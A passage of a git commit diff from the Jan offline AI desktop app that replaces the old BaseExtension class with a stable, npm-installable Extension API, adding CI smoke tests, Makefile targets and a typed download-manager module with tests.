Jan is an open source alternative to ChatGPT that runs 100% offline on your computer.
feat(extensions): runtime-installable npm extensions behind a stable Extension API (#9430)
Akarshan Biswas12c59c8b8b0d
diff --git a/.gitattributes b/.gitattributesindex 03657867e..987b761c0 100644--- a/.gitattributes+++ b/.gitattributes@@ -3,3 +3,6 @@ Cargo.lock -diff# Lockfiles are generated; collapse them in review and keep them out of language stats.# `linguist-generated` rather than `-diff` so `git diff` still works for security audits.*yarn.lock linguist-generated=true++# Generated by the extension-api build; compared byte for byte in a test.+packages/extension-api/api-report.d.ts text eol=lfdiff --git a/.github/scripts/changed-areas.sh b/.github/scripts/changed-areas.shindex 56ae4cdd0..24dcdf0f2 100644--- a/.github/scripts/changed-areas.sh+++ b/.github/scripts/changed-areas.sh@@ -28,6 +28,7 @@ declare -A crates=()all_crates=(jan-cliplugins/tauri-plugin-agent-tools+ plugins/tauri-plugin-extensionsplugins/tauri-plugin-hardwareplugins/tauri-plugin-llamacppplugins/tauri-plugin-rag@@ -87,7 +88,8 @@ elsesrc-tauri/plugins/package.json | src-tauri/plugins/yarn.lock | src-tauri/plugins/.yarnrc.yml)ts=true mlx=true;;- web-app/* | extensions/*)+ web-app/* | extensions/* | packages/extension-api/* | packages/extension-runtime/* | \+ extensions-samples/* | scripts/extensions-smoke.mjs)ts=true;;src-tauri/plugins/*/*)diff --git a/.github/scripts/changed-areas.test.sh b/.github/scripts/changed-areas.test.shindex b01a8672a..86a601f0f 100644--- a/.github/scripts/changed-areas.test.sh+++ b/.github/scripts/changed-areas.test.sh@@ -27,12 +27,16 @@ expect() {}none='crates=[]'-all_crates='crates=["jan-cli","plugins/tauri-plugin-agent-tools","plugins/tauri-plugin-hardware","plugins/tauri-plugin-llamacpp","plugins/tauri-plugin-rag","plugins/tauri-plugin-vector-db","plugins/tauri-plugin-websearch","utils"]'+all_crates='crates=["jan-cli","plugins/tauri-plugin-agent-tools","plugins/tauri-plugin-extensions","plugins/tauri-plugin-hardware","plugins/tauri-plugin-llamacpp","plugins/tauri-plugin-rag","plugins/tauri-plugin-vector-db","plugins/tauri-plugin-websearch","utils"]'all_app='app=["cli","desktop","e2e"]'expect 'web-app only' 'web-app/src/routes/index.tsx' \ts=true mlx=false rust=false cli=false jan_cli=false adk=false 'app=[]' "$none"+expect 'extension packages and samples' 'packages/extension-api/src/index.ts+extensions-samples/hello-provider/src/index.ts' \+ ts=true mlx=false rust=false cli=false 'app=[]' "$none"+expect 'core reaches mlx-extension' 'core/src/index.ts' ts=true mlx=true rust=falseexpect 'mlx-extension' 'extensions/mlx-extension/src/index.ts' ts=true mlx=true rust=falsediff --git a/.github/workflows/jan-linter-and-test.yml b/.github/workflows/jan-linter-and-test.ymlindex 7ea54b539..0a52369d7 100644--- a/.github/workflows/jan-linter-and-test.yml+++ b/.github/workflows/jan-linter-and-test.yml@@ -21,6 +21,9 @@ on:- 'Makefile'- 'src-tauri/**'- 'web-app/**'+ - 'packages/**'+ - 'extensions-samples/**'+ - 'scripts/extensions-smoke.mjs'# No paths filter on pull requests: a workflow a filter skips never reports,# so its required ci-ok check would sit pending and block the merge. The@@ -287,12 +290,45 @@ jobs:shell: powershellrun: make test-ci-rust+ # End-to-end smoke install of the sample extension bundle: packs it, installs+ # the tarball with the extensions plugin (tests/smoke.rs) and loads it in the+ # web-app's extension host. It crosses both the TypeScript and Rust sides.+ extensions-smoke:+ needs: changes+ if: needs.changes.outputs.ts == 'true' || needs.changes.outputs.rust == 'true'+ runs-on: ubuntu-latest+ steps:+ - name: Getting the repo+ uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6++ - name: Installing node+ uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4+ with:+ node-version: 20++ - name: Install Tauri dependencies+ run: |+ sudo apt update+ sudo apt install -y libglib2.0-dev libatk1.0-dev libpango1.0-dev libgtk-3-dev libsoup-3.0-dev libwebkit2gtk-4.1-dev librsvg2-dev++ - name: Config Yarn+ run: |+ corepack enable+ corepack prepare [email protected] --activate+ yarn --version+ yarn config set -H enableImmutableInstalls false++ - name: Extensions smoke install+ run: |+ make install-and-build+ make test-extensions-smoke+# The one check to mark required, for the reason given on rust-check's ci-ok:# the jobs above report "skipped" when a PR does not reach them.ci-ok:name: Linter & Test passedif: always()- needs: [changes, test-ts, test-mlx-extension, test-rust]+ needs: [changes, test-ts, test-mlx-extension, test-rust, extensions-smoke]runs-on: ubuntu-lateststeps:- name: Fail on a failed or cancelled jobdiff --git a/.github/workflows/jan-tauri-build-nightly-external.yaml b/.github/workflows/jan-tauri-build-nightly-external.yamlindex 212172e3e..76c74056a 100644--- a/.github/workflows/jan-tauri-build-nightly-external.yaml+++ b/.github/workflows/jan-tauri-build-nightly-external.yaml@@ -17,7 +17,6 @@ on:- 'web-app/**'- 'extensions/**'- 'scripts/**'- - 'pre-install/**'- 'Makefile'- 'package.json'diff --git a/.github/workflows/jan-tauri-build-nightly.yaml b/.github/workflows/jan-tauri-build-nightly.yamlindex 13df1f009..b2225b568 100644--- a/.github/workflows/jan-tauri-build-nightly.yaml+++ b/.github/workflows/jan-tauri-build-nightly.yaml@@ -38,7 +38,6 @@ on:- 'web-app/**'- 'extensions/**'- 'scripts/**'- - 'pre-install/**'- 'Makefile'- 'package.json'diff --git a/.gitignore b/.gitignoreindex 32fbde55a..88b0e558a 100644--- a/.gitignore+++ b/.gitignore@@ -15,7 +15,6 @@ core/lib/**.yarnrc*.tsbuildinfotest_results.html-pre-install.build# docsdiff --git a/Makefile b/Makefileindex b543dbc6f..aa2edaf39 100644--- a/Makefile+++ b/Makefile@@ -164,6 +164,7 @@ test-ci-rust: rust-test-assetstest-rust: stub-resourcescargo test --locked --manifest-path src-tauri/Cargo.toml --no-default-features --features test-tauri -- --test-threads=1cargo test --locked --manifest-path src-tauri/plugins/tauri-plugin-hardware/Cargo.toml+ cargo test --locked --manifest-path src-tauri/plugins/tauri-plugin-extensions/Cargo.tomlcargo test --locked --manifest-path src-tauri/plugins/tauri-plugin-llamacpp/Cargo.tomlcargo test --locked --manifest-path src-tauri/utils/Cargo.toml# No --locked: this crate gitignores its Cargo.lock, as rust-check.yml assumes.@@ -211,6 +212,12 @@ stub-resources:test-ci: test-prepare$(MAKE) test-rust+# End-to-end smoke install of the sample extension: packs it, installs the+# tarball with the extensions plugin (tests/smoke.rs, ignored by default) and+# loads the result in the web-app's extension host (smoke.installed.test.ts).+test-extensions-smoke:+ node scripts/extensions-smoke.mjs+# Compile and test guard for the CLI feature set. The `jan` CLI is no longer# bundled with the app; `make test` still builds the real binary via build-cli.#@@ -609,9 +616,7 @@ clean: clean-engine-sourceifeq ($(DETECTED_OS),Windows)-powershell -Command "Get-ChildItem -Path . -Include node_modules, .next, dist, build, out, .turbo, .yarn -Recurse -Directory | Remove-Item -Recurse -Force"-powershell -Command "Get-ChildItem -Path . -Include package-lock.json, tsconfig.tsbuildinfo -Recurse -File | Remove-Item -Recurse -Force"- -powershell -Command "Remove-Item -Recurse -Force ./pre-install/*.tgz"-powershell -Command "Remove-Item -Recurse -Force ./extensions/*/*.tgz"- -powershell -Command "Remove-Item -Recurse -Force ./electron/pre-install/*.tgz"-powershell -Command "Remove-Item -Recurse -Force ./src-tauri/resources"-powershell -Command "Remove-Item -Recurse -Force ./src-tauri/target"-powershell -Command "if (Test-Path \"$($env:USERPROFILE)\jan\extensions\") { Remove-Item -Path \"$($env:USERPROFILE)\jan\extensions\" -Recurse -Force }"@@ -625,9 +630,7 @@ else ifeq ($(DETECTED_OS),Linux)find . -name ".yarn" -type d -exec rm -rf '{}' +find . -name "packake-lock.json" -type f -exec rm -rf '{}' +find . -name "package-lock.json" -type f -exec rm -rf '{}' +- rm -rf ./pre-install/*.tgzrm -rf ./extensions/*/*.tgz- rm -rf ./electron/pre-install/*.tgzrm -rf ./src-tauri/resourcesrm -rf ./src-tauri/targetrm -rf "~/jan/extensions"@@ -642,9 +645,7 @@ elsefind . -name ".turbo" -type d -exec rm -rfv '{}' +find . -name ".yarn" -type d -exec rm -rfv '{}' +find . -name "package-lock.json" -type f -exec rm -rfv '{}' +- rm -rfv ./pre-install/*.tgzrm -rfv ./extensions/*/*.tgz- rm -rfv ./electron/pre-install/*.tgzrm -rfv ./src-tauri/resourcesrm -rfv ./src-tauri/targetrm -rfv ~/jan/extensionsdiff --git a/core/README.md b/core/README.mdindex 00f3cdc06..e5234cdf1 100644--- a/core/README.md+++ b/core/README.md@@ -1,6 +1,6 @@## @janhq/core-> This module includes functions for communicating with core APIs, registering app extensions, and exporting type definitions.+> This module includes functions for communicating with core APIs, the extension host's internal context for built-ins, and type definitions.## Usage@@ -13,56 +13,8 @@ import * as core from '@janhq/core'## Build an Extension-1. Download an extension template, for example, [https://github.com/janhq/extension-template](https://github.com/janhq/extension-template).--2. Update the source code:-- 1. Open `index.ts` in your code editor.- 2. Rename the extension class from `SampleExtension` to your preferred extension name.- 3. Import modules from the core package.- ```ts- import * as core from '@janhq/core'- ```- 4. In the `onLoad()` method, add your code:-- ```ts- // Example of listening to app events and providing customized inference logic:- import * as core from '@janhq/core'-- export default class MyExtension extends BaseExtension {- // On extension load- onLoad() {- core.events.on(MessageEvent.OnMessageSent, (data) => MyExtension.inference(data, this))- }-- // Customized inference logic- private static inference(incomingMessage: MessageRequestData) {- // Prepare customized message content- const content: ThreadContent = {- type: ContentType.Text,- text: {- value: "I'm Jan Assistant!",- annotations: [],- },- }-- // Modify message and send out- const outGoingMessage: ThreadMessage = {- ...incomingMessage,- content,- }- }- }- ```--3. Build the extension:- 1. Navigate to the extension directory.- 2. Install dependencies.- ```bash- yarn install- ```- 3. Compile the source code. The following command keeps running in the terminal and rebuilds the extension when you modify the source code.- ```bash- yarn build- ```- 4. Select the generated .tgz from Jan > Settings > Extension > Manual Installation.+Extensions no longer extend a base class from this package. A third-party+extension exports `activate(ctx)` against the stable API in+`@janhq/extension-api` and runs in a worker; start from+`extensions-samples/hello-provider`. Built-ins in `extensions/` receive the+`InternalExtensionContext` exported here. See `extensions/CONTRIBUTING.md`.diff --git a/core/package.json b/core/package.jsonindex 14295faab..b826855ab 100644--- a/core/package.json+++ b/core/package.json@@ -39,6 +39,7 @@"vitest": "^3.2.7"},"dependencies": {+ "@janhq/extension-api": "workspace:*","rxjs": "^7.8.1","ulidx": "^2.3.0"},diff --git a/core/rolldown.config.mjs b/core/rolldown.config.mjsindex fbb2bd351..fbc8bde56 100644--- a/core/rolldown.config.mjs+++ b/core/rolldown.config.mjs@@ -10,7 +10,9 @@ export default defineConfig([sourcemap: true,},platform: 'browser',- external: ['path', 'react', 'react-dom', 'react/jsx-runtime'],+ // The API package is a real dependency so that core and every extension+ // share one copy of its classes (DisposableStore, Emitter).+ external: ['path', 'react', 'react-dom', 'react/jsx-runtime', '@janhq/extension-api'],define: {NODE: JSON.stringify(`${pkgJson.name}/${pkgJson.node}`),VERSION: JSON.stringify(pkgJson.version),diff --git a/core/src/browser/core.ts b/core/src/browser/core.tsindex 3c35212a3..216ff9886 100644--- a/core/src/browser/core.ts+++ b/core/src/browser/core.ts@@ -87,16 +87,6 @@ const isSubdirectory: (from: string, to: string) => Promise<boolean> = (from: stconst showToast: (title: string, message: string) => void = (title, message) =>globalThis.core.api?.showToast(title, message)-/**- * Register extension point function type definition- */-export type RegisterExtensionPoint = (- extensionName: string,- extensionId: string,- method: Function,- priority?: number-) => void-/*** Functions exports*/diff --git a/core/src/browser/download.test.ts b/core/src/browser/download.test.tsnew file mode 100644index 000000000..9c0462f68--- /dev/null+++ b/core/src/browser/download.test.ts@@ -0,0 +1,60 @@+import { describe, it, expect, beforeEach, vi } from 'vitest'+import { downloads } from './download'++describe('downloads', () => {+ beforeEach(() => {+ globalThis.core = {+ api: {+ downloadFiles: vi.fn(),+ cancelDownloadTask: vi.fn(),+ pauseDownloadTask: vi.fn(),+ onDownloadProgress: vi.fn(),+ },+ }+ })++ it('passes items, taskId and headers through to downloadFiles', async () => {+ const items = [{ url: 'http://x/a.gguf', save_path: '/models/a.gguf' }]+ const headers = { Authorization: 'Bearer tok' }+ await downloads.downloadFiles(items, 'task-1', headers)+ expect(globalThis.core.api.downloadFiles).toHaveBeenCalledWith({+ items,+ taskId: 'task-1',+ headers,+ })+ })++ it('propagates a downloadFiles rejection', async () => {+ globalThis.core.api.downloadFiles.mockRejectedValue(new Error('boom'))+ await expect(downloads.downloadFiles([], 'task-1', {})).rejects.toThrow('boom')+ })++ it('passes the taskId through to cancelDownloadTask', async () => {+ await downloads.cancelDownload('task-2')+ expect(globalThis.core.api.cancelDownloadTask).toHaveBeenCalledWith({ taskId: 'task-2' })+ })++ it('passes the taskId through to pauseDownloadTask', async () => {+ await downloads.pauseDownload('task-3')+ expect(globalThis.core.api.pauseDownloadTask).toHaveBeenCalledWith({ taskId: 'task-3' })+ })++ it('subscribes to progress for a task and returns the unsubscribe function', async () => {+ const unsubscribe = vi.fn()+ globalThis.core.api.onDownloadProgress.mockResolvedValue(unsubscribe)+ const handler = vi.fn()++ const result = await downloads.onDownloadProgress('task-4', handler)++ expect(globalThis.core.api.onDownloadProgress).toHaveBeenCalledWith('task-4', handler)+ expect(result).toBe(unsubscribe)+ })++ // Without a host (e.g. tests or a non-desktop shell) callers still always+ // receive a callable unsubscribe, so their finally blocks never throw.+ it('returns a no-op unsubscribe when the host has no progress subscription', async () => {+ globalThis.core = { api: {} }+ const result = await downloads.onDownloadProgress('task-5', vi.fn())+ expect(() => result()).not.toThrow()+ })+})diff --git a/core/src/browser/download.ts b/core/src/browser/download.tsnew file mode 100644index 000000000..a72418ba2--- /dev/null+++ b/core/src/browser/download.ts@@ -0,0 +1,65 @@+/**+ * Typed access to the host download manager (`core::downloads`), which streams+ * files to disk with pause/resume and cancellation per task id.+ */++/**+ * A file to download. Field names match the Rust `DownloadItem` the host+ * deserializes, hence snake_case.+ */+export type DownloadItem = {+ url: string+ save_path: string+ proxy?: Record<string, string | string[] | boolean>+ sha256?: string+ size?: number+ model_id?: string+}++/**+ * Cumulative byte progress of a download task across all of its items.+ */+export type DownloadProgress = {+ transferred: number+ total: number+}++export type DownloadProgressHandler = (progress: DownloadProgress) => void++export type Unsubscribe = () => void++/**+ * Downloads every item under one task id; resolves once all items are on disk.+ * Re-using the id of a running task cancels that task first.+ */+const downloadFiles: (+ items: DownloadItem[],+ taskId: string,+ headers: Record<string, string>+) => Promise<void> = (items, taskId, headers) =>+ globalThis.core.api?.downloadFiles({ items, taskId, headers })++/**+ * Cancels a task and discards its partial files.+ */+const cancelDownload: (taskId: string) => Promise<void> = (taskId) =>+ globalThis.core.api?.cancelDownloadTask({ taskId })++/**+ * Stops a task but keeps its partial files, so downloading the same task id+ * again resumes it.+ */+const pauseDownload: (taskId: string) => Promise<void> = (taskId) =>+ globalThis.core.api?.pauseDownloadTask({ taskId })++/**+ * Subscribes to progress updates of one task.+ * @returns a function that ends the subscription.+ */+const onDownloadProgress: (+ taskId: string,+ handler: DownloadProgressHandler+) => Promise<Unsubscribe> = async (taskId, handler) =>+ (await globalThis.core.api?.onDownloadProgress?.(taskId, handler)) ?? (() => {})++export const downloads = { downloadFiles, cancelDownload, pauseDownload, onDownloadProgress }diff --git a/core/src/browser/extension.test.ts b/core/src/browser/extension.test.tsdeleted file mode 100644index fde0b44cf..000000000--- a/core/src/browser/extension.test.ts+++ /dev/null@@ -1,202 +0,0 @@-import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'-import { BaseExtension } from './extension'-import { SettingComponentProps } from '../types'-vi.mock('./core')-vi.mock('./fs')--class TestBaseExtension extends BaseExtension {- onLoad(): void {}- onUnload(): void {}-}--describe('BaseExtension', () => {- let baseExtension: TestBaseExtension-- beforeEach(() => {- baseExtension = new TestBaseExtension('https://example.com', 'TestExtension')- })-- afterEach(() => {- vi.clearAllMocks()- })-- it('should have the correct properties', () => {- expect(baseExtension.name).toBe('TestExtension')- expect(baseExtension.productName).toBeUndefined()- expect(baseExtension.url).toBe('https://example.com')- expect(baseExtension.active).toBeUndefined()- expect(baseExtension.description).toBeUndefined()- expect(baseExtension.version).toBeUndefined()- })-- it('should return undefined for type()', () => {- expect(baseExtension.type()).toBeUndefined()- })-- it('should have abstract methods onLoad() and onUnload()', () => {- expect(baseExtension.onLoad).toBeDefined()- expect(baseExtension.onUnload).toBeDefined()- })-- it('should install the extension', async () => {- await baseExtension.install()- // Add your assertions here- })-})--describe('BaseExtension', () => {- class TestBaseExtension extends BaseExtension {- onLoad(): void {}- onUnload(): void {}- }-- let baseExtension: TestBaseExtension-- beforeEach(() => {- baseExtension = new TestBaseExtension('https://example.com', 'TestExtension')- })-- afterEach(() => {- vi.clearAllMocks()- })-- it('should have the correct properties', () => {- expect(baseExtension.name).toBe('TestExtension')- expect(baseExtension.productName).toBeUndefined()- expect(baseExtension.url).toBe('https://example.com')- expect(baseExtension.active).toBeUndefined()- expect(baseExtension.description).toBeUndefined()- expect(baseExtension.version).toBeUndefined()- })-- it('should return undefined for type()', () => {- expect(baseExtension.type()).toBeUndefined()- })-- it('should have abstract methods onLoad() and onUnload()', () => {- expect(baseExtension.onLoad).toBeDefined()- expect(baseExtension.onUnload).toBeDefined()- })-- it('should install the extension', async () => {- await baseExtension.install()- // Add your assertions here- })-- it('should register settings', async () => {- const settings: SettingComponentProps[] = [- { key: 'setting1', controllerProps: { value: 'value1' } } as any,- { key: 'setting2', controllerProps: { value: 'value2' } } as any,- ]-- const localStorageMock = (() => {- let store: Record<string, string> = {}-- return {- getItem: (key: string) => store[key] || null,- setItem: (key: string, value: string) => {- store[key] = value- },- removeItem: (key: string) => {- delete store[key]- },- clear: () => {- store = {}- },- }- })()-- Object.defineProperty(global, 'localStorage', {- value: localStorageMock,- })- const mock = vi.spyOn(localStorage, 'setItem')- await baseExtension.registerSettings(settings)-- expect(mock).toHaveBeenCalledWith(- 'TestExtension',- JSON.stringify(settings)- )- })-- it('should get setting with default value', async () => {- const settings: SettingComponentProps[] = [- { key: 'setting1', controllerProps: { value: 'value1' } } as any,- ]-- vi.spyOn(baseExtension, 'getSettings').mockResolvedValue(settings)-- const value = await baseExtension.getSetting('setting1', 'defaultValue')- expect(value).toBe('value1')-- const defaultValue = await baseExtension.getSetting('setting2', 'defaultValue')- expect(defaultValue).toBe('defaultValue')- })-- it('should update settings', async () => {- const settings: SettingComponentProps[] = [- { key: 'setting1', controllerProps: { value: 'value1' } } as any,- ]-- vi.spyOn(baseExtension, 'getSettings').mockResolvedValue(settings)- const mockSetItem = vi.spyOn(localStorage, 'setItem')-- await baseExtension.updateSettings([- { key: 'setting1', controllerProps: { value: 'newValue' } } as any,- ])-- expect(mockSetItem).toHaveBeenCalledWith(- 'TestExtension',- JSON.stringify([{ key: 'setting1', controllerProps: { value: 'newValue' } }])- )- })-- it('should reset dropdown value when persisted value is no longer valid', async () => {- localStorage.clear()-- const oldSettings = [- {- key: 'flash_attn',- controllerProps: {- value: 'ON',- options: [- { value: 'auto', name: 'Auto' },- { value: 'on', name: 'ON' },- { value: 'off', name: 'OFF' },- ],- },- },- ]-- localStorage.setItem('TestExtension', JSON.stringify(oldSettings))-- const newSettings: SettingComponentProps[] = [- {- key: 'flash_attn',- controllerProps: {- value: 'auto',- options: [- { value: 'auto', name: 'Auto' },- { value: 'on', name: 'On' },- { value: 'off', name: 'Off' },- ],- },- } as any,- ]-- const setItemSpy = vi.spyOn(localStorage, 'setItem')-- await baseExtension.registerSettings(newSettings)-- expect(setItemSpy).toHaveBeenCalled()- const [, latestPayload] = setItemSpy.mock.calls[setItemSpy.mock.calls.length - 1]- const persistedSettings = JSON.parse(latestPayload)- const flashSetting = persistedSettings.find(- (setting: any) => setting.key === 'flash_attn'- )-- expect(flashSetting.controllerProps.value).toBe('auto')-- setItemSpy.mockRestore()- localStorage.clear()- })-})diff --git a/core/src/browser/extension.ts b/core/src/browser/extension.tsdeleted file mode 100644index b116f89db..000000000--- a/core/src/browser/extension.ts+++ /dev/null@@ -1,233 +0,0 @@-import { Model, SettingComponentProps } from '../types'-import { ModelManager } from './models'-import { logger } from './logger'--export enum ExtensionTypeEnum {- Assistant = 'assistant',- Conversational = 'conversational',- Inference = 'inference',- Model = 'model',- SystemMonitoring = 'systemMonitoring',- MCP = 'mcp',- HuggingFace = 'huggingFace',- Engine = 'engine',- Hardware = 'hardware',- RAG = 'rag',- VectorDB = 'vectorDB',-}--export interface ExtensionType {- type(): ExtensionTypeEnum | undefined-}--export interface Compatibility {- platform: string[]- version: string-}--/**- * Represents a base extension.- * This class should be extended by any class that represents an extension.- */-export abstract class BaseExtension implements ExtensionType {- protected settingFolderName = 'settings'- protected settingFileName = 'settings.json'-- /** @type {string} Name of the extension. */- name: string-- /** @type {string} Product Name of the extension. */- productName?: string-- /** @type {string} The URL of the extension to load. */- url: string-- /** @type {boolean} Whether the extension is activated or not. */- active-- /** @type {string} Extension's description. */- description-- /** @type {string} Extension's version. */- version-- constructor(- url: string,- name: string,- productName?: string,- active?: boolean,- description?: string,- version?: string- ) {- this.name = name- this.productName = productName- this.url = url- this.active = active- this.description = description- this.version = version- }-- /**- * Returns the type of the extension.- * @returns {ExtensionType} The type of the extension- * Undefined means its not extending any known extension by the application.- */- type(): ExtensionTypeEnum | undefined {- return undefined- }-- /**- * Called when the extension is loaded.- * Any initialization logic for the extension should be put here.- */- abstract onLoad(): void-- /**- * Called when the extension is unloaded.- * Any cleanup logic for the extension should be put here.- */- abstract onUnload(): void-- /**- * The compatibility of the extension.- * This is used to check if the extension is compatible with the current environment.- * @property {Array} platform- */- compatibility(): Compatibility | undefined {- return undefined- }-- /**- * Registers models - it persists in-memory shared ModelManager instance's data map.- * @param models- */- async registerModels(models: Model[]): Promise<void> {- for (const model of models) {- ModelManager.instance().register(model)- }- }-- /**- * Register settings for the extension.- * @param settings- * @returns- */- async registerSettings(settings: SettingComponentProps[]): Promise<void> {- if (!this.name) {- logger.error('Extension name is not defined')- return- }-- settings.forEach((setting) => {- setting.extensionName = this.name- })- try {- const oldSettingsJson = localStorage.getItem(this.name)- // Persists new settings- if (oldSettingsJson) {- const oldSettings = JSON.parse(oldSettingsJson)- settings.forEach((setting) => {- // Keep setting value- if (setting.controllerProps && Array.isArray(oldSettings))- setting.controllerProps.value =- oldSettings.find((e: any) => e.key === setting.key)?.controllerProps?.value ??- setting.controllerProps.value- if ('options' in setting.controllerProps) {- setting.controllerProps.options = setting.controllerProps.options?.length- ? setting.controllerProps.options- : oldSettings.find((e: any) => e.key === setting.key)?.controllerProps?.options- if(!setting.controllerProps.options?.some(e => e.value === setting.controllerProps.value)) {- setting.controllerProps.value = setting.controllerProps.options?.[0]?.value ?? setting.controllerProps.value- }- }- if ('recommended' in setting.controllerProps) {- const oldRecommended = oldSettings.find((e: any) => e.key === setting.key)- ?.controllerProps?.recommended- if (oldRecommended !== undefined && oldRecommended !== '') {- setting.controllerProps.recommended = oldRecommended- }- }- })- }- localStorage.setItem(this.name, JSON.stringify(settings))- } catch (err) {- logger.error(err)- }- }-- /**- * Get the setting value for the key.- * @param key- * @param defaultValue- * @returns- */- async getSetting<T>(key: string, defaultValue: T) {- const keySetting = (await this.getSettings()).find((setting) => setting.key === key)-- const value = keySetting?.controllerProps.value- return (value as T) ?? defaultValue- }-- onSettingUpdate<T>(key: string, value: T) {- return- }-- /**- * Install the prerequisites for the extension.- *- * @returns {Promise<void>}- */- async install(): Promise<void> {- return- }-- /**- * Get the settings for the extension.- * @returns- */- async getSettings(): Promise<SettingComponentProps[]> {- if (!this.name) return []-- try {- const settingsString = localStorage.getItem(this.name)- if (!settingsString) return []- const settings: SettingComponentProps[] = JSON.parse(settingsString)- return settings- } catch (err) {- logger.warn(err)- return []- }- }-- /**- * Update the settings for the extension.- * @param componentProps- * @returns- */- async updateSettings(componentProps: Partial<SettingComponentProps>[]): Promise<void> {- if (!this.name) return-- const settings = await this.getSettings()-- let updatedSettings = settings.map((setting) => {- const updatedSetting = componentProps.find(- (componentProp) => componentProp.key === setting.key- )- if (updatedSetting && updatedSetting.controllerProps) {- setting.controllerProps.value = updatedSetting.controllerProps.value- }- return setting- })-- if (!updatedSettings.length) updatedSettings = componentProps as SettingComponentProps[]-- localStorage.setItem(this.name, JSON.stringify(updatedSettings))-- updatedSettings.forEach((setting) => {- this.onSettingUpdate<typeof setting.controllerProps.value>(- setting.key,- setting.controllerProps.value- )- })- }-}diff --git a/core/src/browser/extensions/assistant.test.ts b/core/src/browser/extensions/assistant.test.tsdeleted file mode 100644index 87dcd4829..000000000--- a/core/src/browser/extensions/assistant.test.ts+++ /dev/null@@ -1,9 +0,0 @@--import { it, expect } from 'vitest'-import { AssistantExtension } from './assistant';-import { ExtensionTypeEnum } from '../extension';--it('should return the correct type', () => {- const extension = new AssistantExtension();- expect(extension.type()).toBe(ExtensionTypeEnum.Assistant);-});diff --git a/core/src/browser/extensions/assistant.ts b/core/src/browser/extensions/assistant.tsdeleted file mode 100644index d025c6786..000000000--- a/core/src/browser/extensions/assistant.ts+++ /dev/null@@ -1,19 +0,0 @@-import { Assistant, AssistantInterface } from '../../types'-import { BaseExtension, ExtensionTypeEnum } from '../extension'--/**- * Assistant extension for managing assistants.- * @extends BaseExtension- */-export abstract class AssistantExtension extends BaseExtension implements AssistantInterface {- /**- * Assistant extension type.- */- type(): ExtensionTypeEnum | undefined {- return ExtensionTypeEnum.Assistant- }-- abstract createAssistant(assistant: Assistant): Promise<void>- abstract deleteAssistant(assistant: Assistant): Promise<void>- abstract getAssistants(): Promise<Assistant[]>-}diff --git a/core/src/browser/extensions/conversational.test.ts b/core/src/browser/extensions/conversational.test.tsdeleted file mode 100644index 44d1e9b4f..000000000--- a/core/src/browser/extensions/conversational.test.ts+++ /dev/null@@ -1,253 +0,0 @@-import { describe, it, test, expect, beforeEach } from 'vitest'-import { ConversationalExtension } from './conversational'-import { ExtensionTypeEnum } from '../extension'-import { Thread, ThreadAssistantInfo, ThreadMessage } from '../../types'--// Mock implementation of ConversationalExtension-class MockConversationalExtension extends ConversationalExtension {- private threads: Thread[] = []- private messages: { [threadId: string]: ThreadMessage[] } = {}- private assistants: { [threadId: string]: ThreadAssistantInfo } = {}-- constructor() {- super('http://mock-url.com', 'mock-extension', 'Mock Extension', true, 'A mock extension', '1.0.0')- }-- onLoad(): void {- // Mock implementation- }-- onUnload(): void {- // Mock implementation- }-- async listThreads(): Promise<Thread[]> {- return this.threads- }-- async createThread(thread: Partial<Thread>): Promise<Thread> {- const newThread: Thread = {- id: thread.id || `thread-${Date.now()}`,- name: thread.name || 'New Thread',- createdAt: thread.createdAt || new Date().toISOString(),- updatedAt: thread.updatedAt || new Date().toISOString(),- }- this.threads.push(newThread)- this.messages[newThread.id] = []- return newThread- }-- async modifyThread(thread: Thread): Promise<void> {- const index = this.threads.findIndex(t => t.id === thread.id)- if (index !== -1) {- this.threads[index] = thread- }- }-- async deleteThread(threadId: string): Promise<void> {- this.threads = this.threads.filter(t => t.id !== threadId)- delete this.messages[threadId]- delete this.assistants[threadId]- }-- async createMessage(message: Partial<ThreadMessage>): Promise<ThreadMessage> {- if (!message.threadId) throw new Error('Thread ID is required')-- const newMessage: ThreadMessage = {- id: message.id || `message-${Date.now()}`,- threadId: message.threadId,- content: message.content || '',- role: message.role || 'user',- createdAt: message.createdAt || new Date().toISOString(),- }-- if (!this.messages[message.threadId]) {- this.messages[message.threadId] = []- }-- this.messages[message.threadId].push(newMessage)- return newMessage- }-- async deleteMessage(threadId: string, messageId: string): Promise<void> {- if (this.messages[threadId]) {- this.messages[threadId] = this.messages[threadId].filter(m => m.id !== messageId)- }- }-- async listMessages(threadId: string): Promise<ThreadMessage[]> {- return this.messages[threadId] || []- }-- async getThreadAssistant(threadId: string): Promise<ThreadAssistantInfo> {- return this.assistants[threadId] || { modelId: '', threadId }- }-- async createThreadAssistant(- threadId: string,- assistant: ThreadAssistantInfo- ): Promise<ThreadAssistantInfo> {- this.assistants[threadId] = assistant- return assistant- }-- async modifyThreadAssistant(- threadId: string,- assistant: ThreadAssistantInfo- ): Promise<ThreadAssistantInfo> {- this.assistants[threadId] = assistant- return assistant- }-- async modifyMessage(message: ThreadMessage): Promise<ThreadMessage> {- if (!this.messages[message.threadId]) return message-- const index = this.messages[message.threadId].findIndex(m => m.id === message.id)- if (index !== -1) {- this.messages[message.threadId][index] = message- }-- return message- }-}--describe('ConversationalExtension', () => {- let extension: MockConversationalExtension-- beforeEach(() => {- extension = new MockConversationalExtension()- })-- test('should return the correct extension type', () => {- expect(extension.type()).toBe(ExtensionTypeEnum.Conversational)- })-- test('should create and list threads', async () => {- const thread = await extension.createThread({ name: 'Test Thread' })- expect(thread.name).toBe('Test Thread')-- const threads = await extension.listThreads()- expect(threads).toHaveLength(1)- expect(threads[0].id).toBe(thread.id)- })-- test('should modify thread', async () => {- const thread = await extension.createThread({ name: 'Test Thread' })- const modifiedThread = { ...thread, name: 'Modified Thread' }-- await extension.modifyThread(modifiedThread)-- const threads = await extension.listThreads()- expect(threads[0].name).toBe('Modified Thread')- })-- test('should delete thread', async () => {- const thread = await extension.createThread({ name: 'Test Thread' })-- await extension.deleteThread(thread.id)-- const threads = await extension.listThreads()- expect(threads).toHaveLength(0)- })-- test('should create and list messages', async () => {- const thread = await extension.createThread({ name: 'Test Thread' })-- const message = await extension.createMessage({- threadId: thread.id,- content: 'Test message',- role: 'user'- })-- expect(message.content).toBe('Test message')-- const messages = await extension.listMessages(thread.id)- expect(messages).toHaveLength(1)- expect(messages[0].id).toBe(message.id)- })-- test('should modify message', async () => {- const thread = await extension.createThread({ name: 'Test Thread' })-- const message = await extension.createMessage({- threadId: thread.id,- content: 'Test message',- role: 'user'- })-- const modifiedMessage = { ...message, 